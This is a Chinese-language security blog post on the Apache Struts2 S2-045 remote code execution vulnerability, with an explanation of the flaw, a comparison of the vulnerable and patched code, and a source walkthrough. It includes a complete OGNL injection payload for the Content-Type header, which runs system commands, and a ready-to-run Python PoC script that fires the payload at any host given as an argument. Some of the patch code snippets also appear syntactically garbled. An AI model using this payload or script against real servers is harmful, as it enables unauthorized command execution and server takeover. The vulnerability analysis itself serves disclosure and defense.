Apache Struts2(S2-045) RCE 漏洞

Posted by JenI on 2017-03-07 00:00:00+08:00

前言

Apache Struts2,一款使用 MVC 设计模式的企业级 Java Web 应用开源框架,作为 Web 应用,Struts2 是十分优秀的,许多大型的企业或公司都在使用它。但是在安全圈,Struts2 就显得有些尴尬了,频繁的爆出 RCE ,让人很是怀疑它的安全性。S2-016、S2-020、S2-032等都是十分霸道的漏洞,这次爆出的 S2-045 也一样,攻击者利用该漏洞可直接远程执行系统命令,从而取得网站服务器控制权。

漏洞描述

Struts2 默认解析上传文件的 Content-Type 头。在解析存在异常的情况下,会执行错误信息中的 OGNL 代码。

漏洞复现

  • 首先正常访问一个使用 Jakarta 的 Apache Struts2 应用
s2-045-1
  • 再次访问时抓取请求数据包
s2-045-2
  • 修改 header 头,将 Content-Type 赋值为以下内容:
%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
s2-045-3
  • 将数据包重新发出,此时页面回显了 ifconfig 命令的执行结果,说明命令成功被执行。
s2-045-4

版本对比

通过对比存在漏洞版本和新版本,发现新版本更新了三个文件:

/core/src/main/java/org/apache/struts2/dispatcher/multipart/MultiPartRequestWrapper.java
/core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java
/core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaStreamMultiPartRequest.java

三个文件内更新的内容一致,都是对用户报错行为加了判断条件

存在漏洞版本:

return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);

已修复漏洞版本:

if {LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, new Object[0])
    return LocalizedTextUtil.findText(this.getClass(), "struts.messagets.error.uploading"}
else{
    return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null)
      }

源码分析

源码中首先对请求的数据包进行封装:

request = prepare.wrapRequest(request);

在封装过程中经由下面的判断进行处理:

if {(content_type != null && content_type。contains("multipart/form-data"))
    MultiPartRequest mpr = getMultiPartRequest();
    LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
    request = new MultiPartRequestWrapper(mpr, request, getSaveDir(),provider);
}else{
    request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}
return request;

其中content_type.contains("multipart/form-data"))一句对内容的类型进行了判断,而poc中对应的#nike='multipart/form-data'便是对内容类型的一个定义,是为了让if语句为真,为真时执行:MultiPartRequest mpr = getMultiPartRequest();其中getMultiPartRequest()是关键,它内部的struts.multipart.parser属性默认值为jakarta。

s2-045-5

因此当有上传操作时,会默认使用 jakarta 作为文件上传解析器。再回顾存在漏洞的版本,当我们构造恶意请求数据包时,引发封装过程异常,e.getMessage() 为默认的 "the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is" + content-type,此时 http 请求头 content-type 中的{}内部引入的指令被执行。从而触发漏洞。

漏洞POC

# -*- coding:utf-8 -*-

import urllib2
import sys,os
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers

def check(target):
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

    try:
        request = urllib2.Request(target, datagen, headers=header)
        response = urllib2.urlopen(request, timeout=10)
        result = response.read()
        print result
    except Exception,e:
        print '[-]Error ' + str(e)
        exit(0)

def main():
    if 'tmp.txt' not in os.listdir('.'):
        os.system('echo jenisec > ./tmp.txt')
    else:
        pass
    if len(sys.argv) != 2:
        print 'usage : python %s ip:port' % sys.argv[0]
        exit(0)
    if '443' in sys.argv[1] or '8443' in sys.argv[1]:
        target = 'https://'+sys.argv[1]
    else:
        target = 'http://'+sys.argv[1]
    check(target)

if __name__=='__main__':
    main()

作者:   JenI   转载请注明出处,谢谢


Comments !